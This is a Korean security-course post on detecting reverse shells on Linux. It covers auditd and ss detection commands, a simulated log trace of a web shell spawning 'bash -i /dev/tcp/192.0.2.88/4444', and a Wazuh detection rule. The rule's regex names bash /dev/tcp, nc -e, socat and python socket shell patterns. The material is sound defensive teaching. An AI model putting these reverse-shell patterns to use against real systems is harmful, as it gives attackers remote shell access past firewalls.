시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 29/50편 (전체 279/450)
학습 단계: 백도어·C2·은닉 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
4단계는 백도어·C2·은닉을 다룹니다. 첫 번째는 리버스 셸입니다. 리버스 셸은 피해 호스트가 공격자 서버로 먼저 연결해 셸을 제공합니다. 인바운드를 막는 방화벽을 우회하는 가장 흔한 원격 제어 기법입니다.
리버스 셸 원리
bind shell: 피해가 포트 열고 대기(인바운드 — 방화벽에 막힘)
reverse shell: 피해 → 공격자 연결(아웃바운드 — 방화벽 우회)
bash -i + /dev/tcp/<공격자>/<포트> (양방향 리다이렉션)
nc <공격자> <포트> (-e 셸 실행 옵션)
python/perl/php 소켓 리버스 셸
핵심: 셸 프로세스 + 아웃바운드 연결 결합
리버스 셸은 셸(bash·python)이 외부로 연결하고 입출력을 소켓에 연결하는 것이 특징입니다. F12(셸 실행)+F16(네트워크)의 결합으로 탐지합니다.
| 리버스 셸 기법 | 패턴 | 위험 |
|---|---|---|
bash /dev/tcp/ | 소켓 리다이렉션 | 매우 높음 |
nc -e | netcat 셸 | 매우 높음 |
| python/perl 소켓 | 인터프리터 셸 | 높음 |
| socat | 양방향 터널 | 높음 |
| 정상 아웃바운드 | 정상 | 정상 |
# 리버스 셸 징후 탐지 (분석 방법)
# 리버스 셸 명령 패턴(F12 재확인)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'proctitle=.*(/dev/tcp/|/dev/udp/|nc.*-e|socat.*exec)' | tail
# 셸 프로세스의 아웃바운드 연결(F16 결합)
ss -tnp 2>/dev/null | grep -E 'sh|bash|python|nc|socat' | grep -vE '127.0.0.1|::1'
$ (리버스 셸 패턴) (없음)
$ (셸 아웃바운드) (없음)
리버스 셸 명령 패턴이 없고, 셸 프로세스의 외부 연결이 없는 상태가 정상입니다.
$ (리버스 셸 패턴)
proctitle="bash -i /dev/tcp/192.0.2.88/4444 (양방향 리다이렉션 소켓 연결)"
$ (셸 아웃바운드)
bash(3002) → 192.0.2.88:4444 ESTAB
/dev/tcp/ 리다이렉션 → 리버스 셸(공격자에게 셸 제공)리버스 셸 분석입니다(가상의 예시).
[계보] nginx(985) → sh(3001) → bash(3002) (F11)
↓
[실행] bash -i + /dev/tcp/192.0.2.88/4444 (양방향 리다이렉션) (F12)
↓
[연결] bash(3002) → 192.0.2.88:4444 (F16)
↓
[제어] 공격자가 셸로 원격 명령 실행
= 웹셸 → 리버스 셸 → C2 (전체 체인)
| 결합 | 해석 |
|---|---|
| 셸 실행(F12) | 셸 기동 |
| /dev/tcp(F12) | 소켓 연결 |
| 아웃바운드(F16) | C2 연결 |
| 계보(F11) | 웹셸 기원 |
계보+셸+연결을 결합하면 리버스 셸 C2가 명확히 드러납니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,c2,">
<rule id="105280" level="14">
<if_sid>105010</if_sid>
<field name="audit.proctitle" type="pcre2">(/dev/tcp/|/dev/udp/)|nc\s+.*-e\s+(/bin/)?(sh|bash)|socat\s+.*exec:.*(sh|bash)|(python[0-9.]*|perl|php)\s+-[ce]\s+.*(socket.*connect|SOCK_STREAM)</field>
<description>리버스 셸 실행 패턴(방화벽 우회 C2)</description>
<mitre><id>T1059.004</id><id>T1571</id></mitre>
</rule>
</group>
리버스 셸 패턴(level 14)은 즉시 경보 대상입니다. 셸 프로세스의 아웃바운드 연결(F16)과 세션 상관해 확정합니다.
| 리버스 셸 기법 | 패턴 |
|---|---|
| bash /dev/tcp/ | 소켓 리다이렉션 |
| nc -e | netcat 셸 |
| python/perl 소켓 | 인터프리터 셸 |
| socat | 양방향 터널 |
| 면접 포인트 | "리버스 셸은 아웃바운드로 방화벽 우회 — 셸+연결+리다이렉션 결합 탐지" |
다음 편 280. 프로세스·지속성 — 백도어 리스너(bind shell) 탐지 에서는 백도어 리스너를 다루는 백도어 리스너(bind shell) 탐지를 다룹니다.
이전 편: 278. 프로세스·지속성 — 지속성 메커니즘 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점